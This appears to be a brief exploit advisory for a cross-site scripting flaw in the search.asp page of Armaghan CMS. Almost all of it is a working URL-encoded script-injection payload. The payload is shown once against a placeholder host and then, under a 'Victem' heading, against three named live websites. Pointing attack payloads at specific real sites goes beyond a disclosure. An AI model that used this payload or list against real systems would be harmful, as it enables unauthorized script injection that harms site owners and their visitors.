######################################################### --------------------------------------------------------- Portal Name: Armaghan CMS Vendor : http://armaghanit.ir Vulnerable File : search.asp Author : Pouya_Server , Pouya.s3rver@Gmail.com Vulnerability : XSS (Cross site scripting) --------------------------------------------------------- ######################################################### http://www.site.com/search.asp?a=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E --------------------------------- Victem : http://sb-bpsc.ir/search.asp?a=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E http://novinnews.com/search.asp?a=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E http://agahsazi.com/search.asp?a=%27%3E%3Cscript%3Ealert%28%27Pouya_Server%27%29%3C%2Fscript%3E